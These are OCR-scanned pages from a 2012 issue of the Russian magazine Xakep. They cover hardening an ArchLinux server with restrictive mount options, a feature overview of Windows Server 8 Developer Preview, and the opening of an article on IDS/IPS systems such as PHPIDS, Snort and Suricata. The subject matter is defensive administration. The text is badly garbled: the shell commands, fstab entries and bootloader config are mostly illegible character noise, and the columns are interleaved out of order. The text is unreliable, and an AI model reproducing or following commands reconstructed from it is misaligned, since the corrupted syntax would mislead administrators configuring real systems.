#...В.!S!.I.[О·:lаеМ....В.е.Р~tI>и.!Sа.~Iot.!! ...М.<J. РщРJlТа ..,n<!Кет.а ....................................... O~.t.• j,.P.\!~ .• c:9.of., .Qe.,fa.YJ.t .•.rp_Hte..r....'" .. 1 ................................. D.е.:t.j. р\!~,.с.Qлf. •.gЕ'!.fi!IJJ:t .• ац..еРt_~.Q.уr:сеJ.Q.уt~ .=..е.. #...У..ме.!:I.t;>.UJа.е.~ ...к.9J!И.'!~С:Т!lQ.. ЛQ!lТ9.Р.!:I.bI~ .. пере.Дi!.'! .. 5.УNf!.(:IC, ...... _ ш~.t .•Jр\!~ .•.,tс:.Р._~ул<J. с:.k_г:j!,tL;i.е.~...::... 2................................. #... QI.к.J)НJ'!.а~.М...Р.Е'!J!.~.р.е.IS.I!>!....... .......................... ....................... Q~.t ,iру~....сQо,f ., аJJ.•.а.<::..с.е.Р.1;_r~.c;J..iлс:t:; .= ..е............ D.e.:t .•i р.\!4.,..С.Rпf.,.а.11,..~.е..с:цге.Jе.(Ji.r.е..с:t.~ . :: ...е.. . #... ~.[!:IRРиРУ.еМ... Цlир.!J.к.R.!I~.щ;П.Е'!д.,Н.blе.... РJN~.:.".а!JP9.CI1l.......................... Q~.t .•JR\!~ ,Jc:.mp3.c.h9_;i.g)1RL.e_!KR.a!:1.ci;1.~.t~...::...1 ............ .. ................... It.. З!!щи,а ..9.I...:i'т'N~.ф.лу.A.i;l....... ... ....... . .. ................ .. Q.E'!t.•i .R\!.4.• t.C.P_~Y!J c.9.Q.~J.e.~ .. =... 1........... .. 120
(писок установленных пакетов
ХАКЕР
02/157/2012
Лечебное обрезание
его на реальный сервер? Очень просто понадобятся установочный образ
- скопировать. Для этого ArchLinux, чистая болванка,
флешка и немного терпения. Выполняем весь процесс как указано ниже.
1. 2.
3.
В СИСТЕМУ ЧЕРЕЗ ДЫРУ В
Завершаем работу виртуальной машины. Настраиваем ее загрузку с 150-0браза
ArchLinu x,
вставляем в
комп флешку и прокидываем ее в виртуальную машину [с по мощью VirtualBox это легко сделаты . Подключаем разделы дистрибутива к каталогу /mnt. На моем виртуальном диске было три раздела: /dev/sda3 - корень , /dev/ sda1 - /boot, /dev/sda4 - /home. Монтируем :
_.... #...m9J.!n.t ..l9~.У.L.~g.!!J..L.!11П.t... _ ..................................._. _.... _......... ........ _... .....#...m.Q),Io:t ..J.Qe.\{j.~.d..~.1../ mn.t/.QQ.Q:t .........................._._ ....... _......_.......... . .... #!119),1.1).t
JcjJ~.Y.L.~9!!4..l. mJ1:t./hQrn~...
ЕСЛИ ВЗЛОМЩИК ПРОНИКНЕТ ВЕБ-СЕРВЕРЕ И ПОЛУЧИТ ПРАВА ПОЛЬЗОВАТЕЛЯ
WWW, ОН ДАЖЕ НЕ СМОЖЕТ ЭАПУСТИТЬЭКСПЛОЙТ
_.............................................._...
13. Правим /etc/fstab следующим образом :
4.
5.
Подключаем флешку к каталогу /media:
Запаковываем систему в архив и кладем его на флешку :
...#. <:.d...L.пю1;.............. . .... #.. t .!!I'....c!=z,f.. /.rn~.di!!lrQ9.t •.tar.• gz . ..... #...~уш;:_................ _.. _... _... .
delip.t.s /.d.evjp.ts.. cjevp:t~ .. d.e..fau:),1s.. ~ .. ~ ...... _.... _... . ._shmJ deyj shm .. tmpf~ Л9.d.еу,.nоsu .i.d е.. е ... ../ de."'/~da1 SW9.P S\:Iap ..d.еfа. чJts е е ... ..L d.eyi -;.da.2../ ext4 . def.9.ult~ .. e. ;1, .••• _•• ... Lr)ev L.~da.3 /w.Ww ext4 .. Q.efaul tS,ЛQе.Х~.С~ nQQev... ~ 1 .l. de\{J.~d.a4 I y.ilC . е.Jc<t.4 ...g~.f9.),I.нs.,л9е..~е.с., п'Qdе.У ...е .;1, .. tmрf.~ .J t.rпр t.!11pfs... d~f~.),IH~. ,r1ge x ec. ,.n.ode.\( .. е е Каталог
6.
7.
Завершаем работу виртуальной машины, нарезаем 150-0браз
/www
будет смонтирован без возможности запуска
файлов и создания устройств, так что если взломщик проникнет
ArchLinux на болванку и идем к серверу, прихватив с собой
в систему через дыру в веб-сервере и получит права пользовате
флешку и болванку.
ля
Загружаем сервер с болванки и разбиваем диск с помощью
/у аг и /tmp действуют те же правила.
cfdisk,
www,
он даже не сможет запустить эксплоЙт. Для каталогов
Все , теперь можно перезагрузить машину и посмотреть, как
руководствуясь следующей схемой:
все работает .
......$.Q.!!l... ::-: ..~.W!!Р... (JЩ3I1ер: .9.бl;>.~I1 .. Q~)'..." ..Z}j ........................ ..... ~.cjаZ...=-... КQJ;J.g.I:t. !>... (Р!!;!.l1ер .:. 1 .. (6).; ...$.d!!~ .. ::-:..Jwww . {р.!!зl.щр.: ....сТ.О!J.~J~'О~ ....с. кQ!J.!>ко ..tiуJI!.1:!9... ДШI.. хранения
всех файлов веб-сайта)j
....... s.<la.4._=-..Iy.!!.c_.{ р.а.з.!'!.е.р : .. .от .. ~ ..I б.) •.........
ЧА С ТЬ
ОБ Н ОВЛЕ Н ИЕ
6.
Обновить полученный дистрибутив не так-то просто. Для этого потребуется виртуальная машина с установленным
ArchLinux
[самое время восстановить снимок, созданный в начале процес
саl и sshfs. Процесс выглядит так :
8.
Создаем в разделах файловые системы:
._....# .. JJ1~.f.~ ,..e.X.t~ Jge\{/.~.<I!!.{~.,.J.4} ........... .
1. 2. 3.
Включаем виртуальную машину. Устанавливаем
sshfs.
Обновляем базу данных пакетов и нужные софтины Iнапример,
nginx, Postgre5QL, 55HI:
9.
Монтируем разделы
K/mnt:
... #. piI.cmao.. -SY .... .... . ...#.. !11QЩlt ..I.Qe.\(j~.daZ .../mn.1;........ _..................._............................_......... .#...mkgJc ...Lmo.tL.www..Irnn.t L.y..~.r:_ ........ _........................... .. ... #.. mQ.u!11..l. Q.g\{J.~.Q ~. ;tJrn!1.1; /.www......... _ .. # ..mQ),IlJ.t...I.gey'/~gil4..l.mn.t I y.iI.c.. ...... .
10.
#
4.
...... #.. mQ.uo1 .l. Q.e.\{Is.QJ~;I,.Jrne.Qiij........ .......#... ~.g .. j!!шt................................................._. . ..#...1;ilL... ~ x);f ../.!11.е!! iil/I'.O.Qt.• t!!I'.,.g;?:...
11. Устанавливаем загрузчик: # #
.~ hrQ9.t...I.m01...... gr.),IQ.~.iost!!lJ J9.~yI~g.i!1 ..........
.... .............. _.. ......... _ ... _ ... ....... __.... _. ... _
.. #
5.
ssh
Запоминаем, какие пакеты обновились, и для всех этих паке тов , включая
Монтируем флешку и распаковываем архив с системой:
....................
р.i! .с!11ал. .. -~.лgilJ.хр.9.s.tgrе~ql .
Р.ё!.стаn
nginx, Postgre5QL и
55Н, смотрим список файлов:
-Ql.. .ngi!1.>cr19~tgr:'.е.sqJ ..ss.t]._....
Перекидываем файлы на наш сервер с помощью
sshfs :
.....# s~.hfs ... ~.e.pee.p .. /mot ....................... . #fQI'... 1jJ,~ i.!1. .. ' pa.(;mi!n _-Ql...IJgt.пх 1 ..<:.u.t .. -.9 '.. _' .. -.f... 2, ' j ... Qo.\ . ч ...$Ые . L.!11lJti $fi1e..j \ done Готово! Конечно, э то не автоматические обновления каждую ночь, но и не ночной кошмар, тем более что весь процесс вполне
12. Правим
конфиг загрузчика:
.......1;НJе.....~I'.I;.h.цощ_..................... ......... ......... ................... .......CQ.ot ... {b.Q!').,.J)................................................................................................. ...... !s.е.I'.ш~J.. .LtН:>.Qt/.I!.rn1;i..lJ.щ;3.е... r.QQ.t~j Q.е.уIs.d.ijG ..I'.Q.......... _... _........ _.. _. ...... ), n.i1c.d..l.Q.QQ.tJ.!s.er.IJ.~JJe,jJJ1g................ .._......... .
можно реализовать в скрипте.
Ч АСТЬ
7.
В Ы ВОДЫ
В зтой статье приведены только базовые сведения о том, как обезопасить дистрибутив. Каждый сервер имеет свои особен ности, которые необходимо учитывать . В любом случае главное правило: чем меньше компонентов, тем лучше . :Х:
ХАКЕР
02/157/2012
121
SYN/ACK
Сергей
«grinder» Яремчук Igгiпdегlasупасk.гul
Рожденный под -.
ци
рои
восемь
- Основной процесс
Центр разработки
разработки
Windows Servermsdn.microsoft. com/en-us/windowsserver.
WinB
планируется
завершить к лету
2012 года . Новая ОС поступит в продажу
в начале 2013-го.
Название Windows
Server 8 является КОДОВЫМ и еще не утверждено
окончательно.
в Win2k8 Server Саге невозможно было использовать
MS SQL Server или Exchange.
-
На прилагаемом
к журналу диске
ты найдешь видеоролик, в котором "оказана установка и
первоначальная
настройка Windows В Developer Preview.
Разработчики обещают, что WinB будет поддерживать СУБД.
WinB будет Функция Нурег-У
выпускаться только
Replica обеспечивает
для 64-разрядных
асинхронную
систем.
репликацию виртуальных
машин на внешние площадки.
ЗНАКОМИМСЯ С
~
WINDOWS SERVER 8
SERVER MANAGER ' DASHBOARD
.@
Welcorne to Server Manager •
ALL~i!VtI15
8
.Ii """''''''''
АС1М O!~fCroRV DO~
configuгe this local server
li or.SSEМiI
odd'oIe<
Работа над «восьмеркой», начавшаяся еще в
2009 году, велась параллельно с разработкой Win2k8, однако официальной информации о новой серверной ОС было совсем мало.
IlOUS ,\НО SutVEJt 61t01JPS 2 . . . .,.,...''''1011_ll_~ ........
Разработчики обещали, что ядро будет написано с нуля, важную роль в системе
.-----
возьмет на себя гипервизор, а кластерные службы станут эффективнее. Как только появилась версия
Developer Preview,
проверить правдивость этих слов.
122
мы решили
8РАr..ш/tS
: 1118
т
.. ~~:
е
' ' ".
WinB получил обновленный Server Manager
ХАКЕР
02/157/2012
Рожденный под цифрой восемь
дdd ROI~ lПd
о
Feiltures Wizard
о
•
форматы
REST
и
JSON.
По сути, многие штатные инструменты
управления из состава Wiп8 вроде
Installation p гogгess
RSAT и Server Мапаgег пред PS, а работа всех мастеров сво сценария PS. При этом выполненный
ставляют собой надстройки над BtfIn 'IDU ~
yК!W
instalt4tion progress
--
IГ:1.,------""""'-':"""-"""'-""""-~'".,.""""' --:Con ,-:Iigu-~-tюn-':-w.::-U<;,;::::::::0:',,"0-;".-1
wtndlмs
Po.rShllll scr1p! fot'
ltD
DS
Особенностью инструментария WМllWiпdоws Мапаgеmепt
oeployмm:
uport....f4Odule~l~
Inst;al1 - ...aosFor"t"
~
-D.J.t~l!PiI.th ~С : \W1ndows\NТOSИ -008;I1f71tOdе "w1n2001R2- .
•
_
:=~=~~r-:g:' -I/''IStil.l1oмs:Str\lC
.
:~'!:-;1ЕНЕ!:~d (ReAd_но~t -ASsкur'St.rfng
-SYS\OU'il.th Mc: \ wtndow$\SYS'oOL-
ранее сценарий можно ско пировать из истории и экспортировать для повторного использования.
.....
Fa.EdilF_YRooНdp
:
дится к созданию и запуску
-fOrCllllpt
.. _
Iпstгumепtаtiоп) в Wiп8 является поддержка стандартов, описы вающих взаимодействие между оборудованием и приложениями.
.......
вроде
oI lhe_fort..st.
SMlcS, WSMAN
или ОСОМ. Соответственно, третьим лицам
стало проще писать WМI-проваЙдеры.
-~nt Рuя.ord-)
Диспетчер сервера в Wiп2k8 мне нравился. Он отлично подхо
.
...
дил для настройки всевозможных пара метров локальной системы,
а с
R2
позволял настраивать и удаленную. В Wiп8 разработчики
пошли дальше и ввели понятие группы серверов. Теперь можно
..:1
управлять несколькими серверами одновременно, а в
Oashboard
выводится информация, собранная со всех систем. Выбрав в спи ске сервер из меню, можно запустить другие средства управления:
консоль
Computer
Мапаgеmепt или
PowerShell.
Практически все
инструменты администрирования, ранее предлагавшиеся в виде
ПР' 'Р.'"'6.,
отдельных консолей, теперь встроены в диспетчер сервера. Сам
GUI,
Любые настройки в
по сути, сводятся к команде
Server Мапаgег выполнен в фирменном стиле Metro, расположение
PowerShel1
окон оптимизировано для современных widе-мониторов. События,
которые требуют внимания админа, подсвечиваются разными
I:J:J'шiЩii
цветами. Фильтры помогают отобрать только необходимую инфор
Современные тенденции диктуют новые правила для разработ
мацию, причем запросы можно сохранить и использовать повторно .
чиков операционных систем . Сегодня всё активнее продвигаются
Как и ранее, настройка в основном производится при помо
«облачные» технологии, многие компании уже используют вирту
альные структуры Iчастные «облака») или планируют перейти к
щи мастеров. При установке роли можно выбрать один из двух вариантов: роль/компонент или сценарий развертывания ROS.
ним. Большую популярность приобретают виртуальные машины,
Далее мастер предлагает указать
заменяющие целый парк серверов. Сотрудники теперь не при вяза
диск. По окончании настройки вернуться к мастеру можно из окна
cepBepla) из списка или VOI-
ны к конкретному рабочему месту, так как могут получить доступ
Nоtifiсаtiоп.
к ресурсам компании из любой точки, где есть выход винтернет.
Поэтому при создании Wiп8 во главу угла были поставлены четыре
«ОБЛАКА» И
HYPER-V
компонента: сетевая инфраструктура, удаленный доступ, удобство
Первым широкой общественности был представлен обновленный
управления и виртуализация.
Нурег-У
3.0,
который превратился в одну из ключевых особен
ностей «восьмерки» И стал основой для создания частных и
ИНСТРУМЕНТЫ УПРАВЛЕНИЯ В
WINDOWS 8
особенно актуально для УМ) и повышает уровень безопасности.
публичных «облаков» . Заявлена поддержка до 160 логических CPU lядер и потоков) и 2 Тб физической памяти, при этом каждая УМ может иметь до 32 vCPU и оперативную память объемом 512 Гб. Никаких лимитов по соотношению реальных и виртуальных CPU не
Однако установить можно было только одну из двух версий ОС: с
установлено, можно запускать столько УМ, сколько потянет обору
или без, изменить версию не представлялось возможным. В
дование. Отказоустойчивый кластер, построенный на Wiп8, может
Концепцию Wiп2k8
Server Саге админы приняли благосклонно, поскольку отсутствие GUI снижает системные требования Iчто
GUI
Wiп8 для сервера доступно три варианта интерфейса : один с и два варианта без него. В первой версии без
GUI
GUI
управление осу
содержать
узла с
63
4000
УМ, имеющими функции
балансировки нагрузки и Мulti-Сhаппеl
Li ve Мigгаtiоп, 5MB Iзта функция обе-
ществляется с помощью командной строки, а во второй IFeatures Оп Оеmапd) вместо GUI и IE в качестве инструментов управления предлагаются
Server
Мапаgег и ммс. Но главное -теперь можно
легко менять интерфейс без переустановки сервера . Благодаря
~
...... Active Directory Domain Services • Overview
-@
этому Wiп8 можно настроить так, чтобы добиться оптимального соотношения между производительностью, безопасностью и удоб ством управления.
JКa_' l"<U'!
Положительную реакцию у сообщества вызвало появление в
Wiп2k8 оболочки
PowerShell,
позволяющей автоматизировать за
.I C. ... I_"'=р_
.....
г__
P'u..._ ........ - " . _ " " .
дачи, обрабатывать большие объемы данных и выполнять команды сразу на множестве подчиненных систем .
Wiп8 получила третью версию
PowerShell,
которая представля
ет собой серьезный инструмент для выполнения задач, связанных
· .-.-o-w..,~c_o..--
:=::::=:..."":"':-~";:_o...a.y-.--...,..--
с администрированием системы, ролей и сервисав. Число команд
летав выросло на порядок и составляет уже более
было 130, в PS2 превращает
PS
· _~-..._w"",-~_
i - - ' - _ _ _ _ _ _ _ _ _ _ _ _ __
2300 'В PS1 ИХ
230). Технология автодополнения IпtеlliSепsе
в удобное средство для создания и тестирования
сценариев. Хорошо поддерживаются операции, выполняющиеся
длительное время на большом количестве систем. Серьезно пере работанный стек стал более универсальным и переносимым, те
W!ndowrts~HiStO'Y
_
c_u-.шмPt~ ПL
.
перь в командлетах в большинстве случаев не нужно обращаться к специфическому
ХАКЕР
02/157/2012
API.
ДЛЯ работы с веб-сервисами
PS
использует
НовыйАDАС
123
I
SYN\ACK
спечивает улучшенную пропускную способность и предоставляет несколько резервных каналов между сервером и хранилищем на
DYNAMIC ACCESS CONTROL
удаленном файловом ресурсе]. Поддержка технологий, речь о которых пойдет далее, была реализована еще в Wiп2k8, теперь же они плотно интегрированы с гипервизором. Так, архитектура неравномерного доступа к памяти
DAC -
NUMA INоп-Uпifогm Memory Access] уменьшает задержки и повы шает эффективность работы VM. Это особенно касается мощных серверов, где Hyper-V показывает почти линейное масштабиро вание. Технология WHEA IWiпdоws Hardware Еггог Architecture] адаптирует VM к аппаратным сбоям, обнаруживая ошибки. Если устранить проблему нельзя, то система определяет, какая из VM
доступа к файлам на уровне домена и при менять ее ко всем существующим файл - серверам в домене.
пострадала, и пытается ее перезапустить/восстановить, тогда как
трафика
VM,
выделяющие гарантированную полосу пропускания.
Протокол 5МВ версии
остальные продолжают работать в обычном режиме. Технология
Hyper-V Replica
новый механизм контроля доступа к файловой системе,
который позволяет администратору определять единую политику
2.2
получил новую функцию Мulti-Сhаппеl
5МВ, которая призвана устранить одно из типичных узких мест
позволяет создавать копию реплики данных и
отправлять ее на удаленный сервер с последующим запуском. Это
при передаче большого количества данны х
дает возможность быстро перейти на другой сер вер или восстано
способность сети.
-
низкую пропускную
Теперь для обмена информацией между системами по 5МВ
вить ресурс.
Формат виртуальных дисков
VHDX
изменен для улучшения
одновременно используется несколько сетевых интерфейсов.
масштабируемости, оптимизации и повышения надежности хра
Новая фича не только увеличивает производительность, но и по
нения данных и увеличения скорости. Максимальный объем может
вышает устойчивость в случае выхода из строя одной из сетевух
превышать 2 Тб Iма ксимум 16 Тбl, журнал уменьшает риск потери
сервера или маршрутизатора. Гипервизор, кстати, тоже поддержи
информации. Диски легко объединяются на лету без остановки
вает виртуальное соединение
работы
VM . Том
может быть зашифрован при помощи
BitLocker,
Fibre
Сhаппеl между
VM
по 5МВ. Все
функции Iзахва'r, фильтрация трафика и роутингаl легко расши
что
обеспечит защиту данных при размещении сервера в «облаке».
ряемы, благодаря чему любой разработчик может добавить новые возможности.
РАБОТА С СЕТЬЮ И УДАЛЕННЫЙ ДОСТУП
Алгоритм компонента ВгапсhСасhе также был модернизирован.
Чтобы Wiп8 могла стать полноценной основой для построения «об
Теперь , если в локалке уже имеется ста рая версия файла, функция
лака», в сетевую инфраструктуру и реализацию стека были вне
дедупликации загружает с сервера только его измененную часть,
сены существе нные изменения . С помощью консоли
а не весь файл. Ранее зта технология кеширования работала в фи
NIC
tеаmiпg
можно объединять до 32 сетевых интерфейсовlлюбых производи телей] в один виртуальный lIiпk aggregation], обеспечивая большую
лиальных сетях, а в новой версии она адаптирована и для обмена данными в «об лачных » сервисах.
пропускную способность, балансировку нагрузки и автоматическое
Важным дополнением является DНСР
Guard,
который блоки
рует DНСР-сообщения от неавторизованных виртуальных машин,
резервирование.
Ранее для этого требовались ути литы сторонних разработчи ков и однотипные сетевые карты. Штатная Сопtгоl
Panel
претендующих на звание серверов DНСР. Появились инструменты
не очень
для работы с DНСР
failover.
Технология
DN55EC
позволяет работать
удобна для настройки большого количества сетевых интерфейсов
с DN5-зонами, защищенными цифровой подписью, что исключает
Iвключая виртуальные], поэтому в
атаки типа
Win8 появился новый ком
плексный инструмент управления IР-адресами -IPAM IIP Address Management]. Новые системы удобно добавлять в список благо
DN5
5рооfiпg.
Теперь для удаленного доступа к внутренним ресурсам вместо
нескольких ролей
lDirect Access и VPNI предлагается единая
ных IP-аАресах Iдинамических и статических], после чего админ
Uпifiеd Remote Access. Технология Direct Ассеsslчитай статью «Синх ронный заплыв на дальнюю дистанцию » , ][_09_20111 пред
сортирует их и снабжает метками и описаниями. Доступны отчеты
ставляет собой предпочтительное решение для создания такого
об использовании IP-аАресов. Имеются инструменты для контроля
подключения. Сервер больше не требуется размещать в
даря сканеру, который загружает в консоль все данные о найден
.....
. ..
il
DMZ,
он
SEaVlkS
Sele<t destination server Select., serwr оп whkh to install roles аnd f"tures.
........
#rSdtd._"-"'-_pooI
r Wкt I
........ Nrcf~
"""" F',_' '.....'
р
This,..",-"~INI'--bнn~br""""""Adds.r-.<
s.-МoNger.. Oumt~cqкtro"""-..ond~
_ _ in
...............
'lllhcho.1.tccllкtionls""~_ ..... ~
r.....-lii~~~~ \'ЛN-lтuntLQQ2Y
1.014
w.r-g
~w....x..s~
.. 7
~~-~~ ~~~~ ~ ~~~
IПIII
. IrEТТ
'
I nI
S,
I
Wnc![JNm.... l Gbpo
ф с~
W-,ftI>eм,.... l Gbps
ф с~
....
\ОЮ/-lnm.tu2QlV .f.PCIk.I_~
'MH- l nm1U2Q2V
.....,-1dttdJ
~·lnnwwQ2V ~~
....
~
Мастеру добавления роли можно указать любой сервер или виртуальный диск
Штатные инструменты позволяют объединить сетевые интерфейсы
ХАКЕР
02/157/2012
Рожденный под цифрой восемь
метаданные и теги документов. Расширяемая архитектура позво ляет интегрировать новые разграничительные политики доступа
к ресурсам с
ACL
и другими инструментами аудита и управления
доступом. Что в итоге обеспечит централизованную защиту на уровне доменов файлов, а также папок поверх всех имеющихся разрешений файлов. Администратору уже не нужно знать, на каких ресурсах находятся файлы и каталоги. Правила задаются при помощи
функций АО и групповых политик и при меняются автоматически при создаАИИ объекта. При этом пользователь может просмотреть
список автоматически предлагаемых более подходящие. В
ACL
ACL
или выбрать другие,
учитывается и контекст запроса. Напри
мер, пользователь может прочитать файл, находясь во внутренней
сети, но получить отказ при подключении через
VPN . Сообщения
о причине блокировки можно редактировать . Также можно задать
порядок действий для получения доступа. Все соответствующие настройки задаются централизованно.
ACТIVE DIRECТORY Изменения, учитывающие особенности работы новой версии ОС, коснулись и службы каталогов
Active Oirectory.
Все настройки,
начиная с процесса развертывания, максимально упрощены. П осле
К новому меню «ПУСК» придется привыкать
установки роли
Active Oirectory Oomain 5ervices
в
5erver
Мапаgег
появляется ссылка, позволяющая запустить мастер, который может находиться и за
Настройка сервера и соединений
NAT'OM.
функционально напоминает ранее использовавшийся
OCPROMO.
упрощена, за всё отвечает мастер.
В процессе создания домена можно установить функциональный
Нововведения не обошли стороной и службу Remote Oesktop 5ervice . Благодаря наличию нового кодека и поддержке протоко лов ТСР и UOP трафик снижается на 10 % по сравнению с предыду щей версией. Технология RemoteFX, впервые появившаяся в Win2k8R25P1, позволяет виртуализировать видеоадаптер сервера
уровень леса/домена от Win2k3 до Win8.
В Wiп2k8R2 появился новый центр администрирования Active Oirectory IAdministrative Center, АОАС], построенный поверх Power5hell. Его назначение тогда было не совсем понятно, так как, хотя он и обеспечивал удобный доступ к некоторым функциям,
и при удаленном RОР-подключении к виртуальным машинам ис
многие из них дублировались в ммс. В
пользовать полноценные графические эффекты, включая
ствован . Многие настройки стали более удобными и понятными
OirectX.
Win8
АОАС был усовершен
бующая массивов
Iнапример, настройка FGPP - fine-grained password policies, ранее выполняемая при помощи А05 1 Edit]. Интерфейс позволяет про
хранилище
сматривать использованные команды
В поставку
RemoteFX, не тре GPU. Настройка сервиса значительно упрощена, образов VOI оптимизировано. Теперь администратор,
Win8
включена улучшенная версия
Power5hell,
которые можно
используя один шаблон как основу, может создавать индивидуаль
копировать и вставлять в свои скрипты. Корзина АО обзавелась
ные сессии для каждого пользователя . Чтобы система не обраща
графической оболочкой.
лась каждый раз к серверу, используется локальный кеш, образы могут храниться на локальном диске или сетевых ресурсах .
Код сервера и клиента
NF5
был переписан с нуля. Теперь он
Контроллер домена можно запускать на ми
-
VM
со всеми вкусностя
копии и снапшоты, позволяющие быстро развернуть резерв
ный КД. Чтобы не было путаницы и не возникали коллизии, при
работает гораздо быстрее, что должно улучшить взаимодействие с
запуске копии с разными версиями КД во время создания снимка
·пiх-системами.
10 аннулируется, а при загрузке гипервизор проверяет ID текущего КД, запускает 5ysrep и обновляет все данные, приводя систему в
ХРАНЕНИЕ ДАННЫХ
актуальное состояние.
Концепция системы хранения информации была пересмотрена, чтобы сервер мог работать с большими объемами данных, раз мещенных на нескольких сотнях виртуальных дисков. Теперь она включает
storage pools,
то есть массивы дисков, которые могут
быть использованы для хранения
VOI,
и
storage spaces -
инстру
111
Штатный веб-сервер
115
версии
8.0
получил новые функцио-
нальные возможности по интеграции с
Windows Azure,
которые
позволяют создавать легко масштабируемые «облачные» сервисы.
менты для настройки производительности и отказоустойчивости .
Теперь
Новые диски добавляются в пул по мере необходимости и автома
рованием максимального количества используемых
тически подхватываются системой хранения данных как единый
даря проведенной оптимизации повысилась производительность,
storage pool.
И главное, нет необходимости по купать софт сторон
115
запускается в индивидуальной «песочнице» С регули
CPU.
Благо
сервер требует в три раза меньше памяти. Одним из основных
них разработчиков для 5АТА- и 5А5-дисков. Функция деАУплика
нововведений в
ции позволяет экономить объем за счет исключения избыточных
обмена сообщениями между браузером и веб-сервером поверх ТСР.
115 является
поддержка протокола
Web50ckets
для
Таким образом, можно без особого труда подключать приложе
данных в дисковом хранилище.
В случае сбоя проверка большого диска на ошибки при по
ния для асинхронных источников данных, написанные на
HTML5 .
мощи СНК05К может занять достаточно много времени, в течение
Значительно упрощено управление 55L-сертификатами. Теперь все
которого сервер будет недоступен. В
они находятся в одном хранилище, администратор самостоятель
Win8 CheckOisk
запускается
в онлайн-режиме и проверяет только проблемный раздел. Сам про
но настраивает их при вязку к саЙтам . Управлять сертификатами
цесс занимает всего несколько секунд.
также можно при помощи
Power5hell.
Чтобы избежать утечки информации, необходимо четко уста новить права доступа к файлам и устройствам для пользователей
ЗАКЛЮЧЕНИЕ
и групп, но чем больше становится данных, тем тяжелее ими управ
Как видишь, нововведений до'вольно много, и они впечатляют.
лять. Функция динамического доступа, которая появилась в Wiп8,
Хотя, конечно, это еще не финальная версия, и к моменту релиза
автоматизирует работу со списками контроля доступа, используя
некоторые возможности вполне могут измениться.::Х:
ХАКЕР
02/157/2012
125
SYN/ACK
Сергей «grinder» Яремчук Igrinderratux.in.ual
HOBblE
ОСПЕХИ
ДЛЯ IТ-инфраструкту ПРИМЕНЕНИЕ
ID5/
IP5 - ДЕЙСТВЕННЫЙ СПОСОБ ПРЕДОТВРАТИТЬ ВТОРЖЕНИЕ В КОРПОРАТИВНУЮ СЕТЬ
не эффективна против сетевых атак
-
и малварей. На первый план выходят решения
][_12_2010.
класса IDS/IPS, которые могут обнаруживать
Как научить iptabIes
в настоящее время защита, обеспечиваемая
файерволом и антивирусом, уже
и блокировать как известные, так и еще
OMod Security и GгеепSQL-FW
читай в статье «Последний рубеж»,
~ -сайтIРS
«заглядывать»
внутрь пакета, читай в статье ~~Огненный
не известные угрозы.
ТЕ Х НОЛОГИИ
щиТ»,
105
или
IP5,
lYйn9r.! - сайт
Fwsnort.
следует понимать их
принципы работы и назначение. Так, задача 105 Ilntrusion Detection 5ysteml состоит в обнаружении и регистрации атак, а также опове щении при срабатывании определенного правила. В зависимости
105 умеют
][_12_2010.
Hogwash Light BR.
cioherdyne.ora/
IDS/ IPS
Чтобы сделать выбор между
от типа,
-
выявлять различные виды сетевых атак, обнару
tndell
"-М
Downloads
fAQ
Forun
Demo
Reci"nlne
COI'Itec.t & Credits
Smoket • • t
Releted ,tuff
">JO()(
живать попытки неавторизованного доступа или повышения при
вилегий, появление вредоносного ПО, отслеживать открытие ново
го порта и т. д . В отличие от межсетевого экрана, контролирующего
Send
только параметры сессии IIP, номер порта и состояние связейl , 105 « заглядывает» внутрь па кета Iдо седьмого уровня 051(, анализируя
tound Injection :
":> ХХХ
передаваемые данные. Существует несколько видов систем обна
ружения вторжений. Весьма популярны APID5 IApplication protocolbased 1051, которые мониторят ограниченный список прикладных протоколов на предмет специфических атак. Типичными пред
ставителями этого класса являются
126
PHPID5 Iphpids .org l, анализи-
PHPIDS блокирует неправильные РНР-эапросы
ХАКЕР
02/157/2012
Новые доспехи для IТ-инфраструктуры
рующий запросы к РНР-приложениям,
Mod_5ecurity, защищающий IApache), и Gгееп5QL-FW, блокирующий опасные 5QLкоманды !см. статью « Последний рубеж» в ][_12_2010). Сетевые NID5 INetwork Intrusion Detection 5ystem) более уни версальны , что достигается благодаря те хно логии DPIIDeep Packet Inspection, глубокое инспектирование па кета). Они контролируют веб-сервер
не одно конкретное приложение, а весь проходящий трафик, на
)
чиная с канального уровня.
Для некоторых пакетных фильтров также реализована возмож ность «заглянуть внутрь» И блокировать опасность . В качестве при'
мера можно привести проекты OpenDPllwww.opendpi.org ) и Fwsnort Icipherdyne.org /fwsnort). Последний представляет собой про грамму для преобразования базы сигнатур 5пог! в эквивалентные правила
блокировки для
iptabIes.
Но изначально файервол заточен под
другие задачи, да и те хноло гия
DPI
« накладна » для движка , поэтому
функции по обработке дополнительных данны х ограничены блоки
ровкой или маркированием строго определенных протоколов .
всего лишь помечает
1D5 lalert) все подоэрительные действия . Чтобы
з блокировать атакующий хост, администратор самостоятельно перенастраиваетбрандмауэр во время просмотрастатистики. Ес те с вен но, ни о каком реагировании в реальном времени здесь речи
идет. Именно поэтому сегодня более интересны IP5 IIntrusion revention 5ystem, система предотвращения атак). Они основаны 1D5 и могут самостоятельно перестраивать пакетный фильтр и прерывать сеанс, отсылая ТСР R5T. В зависимости от принципа боты , IP5 может устанавливаться «в разрыв » или использовать ркалирование трафика 15PAN), получаемого с нескольки х сенсоов. Например, в разрыв устанавливается Hogwash Light BR Ihlbr. .net), которая работает на втором уровне 051 . Такая система может е иметь IP-аАреса, а значит, остается невидимой для взломщика .
В обычной жизни дверь не только запирают на замок, но и до олнительно защищают, оставляя возле нее охранника, ведь
лько в зтом случае можно быть уверенным в безопасности. В
качестве такого секьюрити выступают хос т о вые
IT IP5 !см. « Новый
боронительный рубеж » в ][_08_2009), защищающие локальную истему от вирусов, руткитов И взлома. Их часто путают с антиви
усами, имеющими модуль проактивной защиты . Но
HIP5,
как пра
ила, не используют сигнатуры, а значит, не требуют постоянного
бновления баз. Они контролируют гораздо больше системных араметрав: процессы, целостность системных файлов и реестра, аписи в журналах и многое другое.
Чтобы полностью владеть ситуацией, необходимо контролиро ать и сопоставлять события как на сетевом уровне, так и на ура в е хоста. Для этой цели были созданы гибридные
1D5,
которые
оллектят данные из разны х источников Iподобные системы
асто относят к 51М -
Srп1"1у'.,..
о
5ecurity Information Management) . Среди
~
254
48
Suricata можно использовать все наработки к Snort, например Snorby
ХАКЕР
02/157/2012
127
SYN\ACK
Ореп50игсе-проектов интересен
Prelude Hybrid 105, собирающий 105/IP5 и пони мающий
данные практически со всех Ореп50игсе
формат журналов разных приложений [поддержка этой системы
ОБЪЕДИНЕННЫЙ КОНТРОЛЬ УГРОЗ
приостановлена несколько лет назад, но собранные пакеты еще
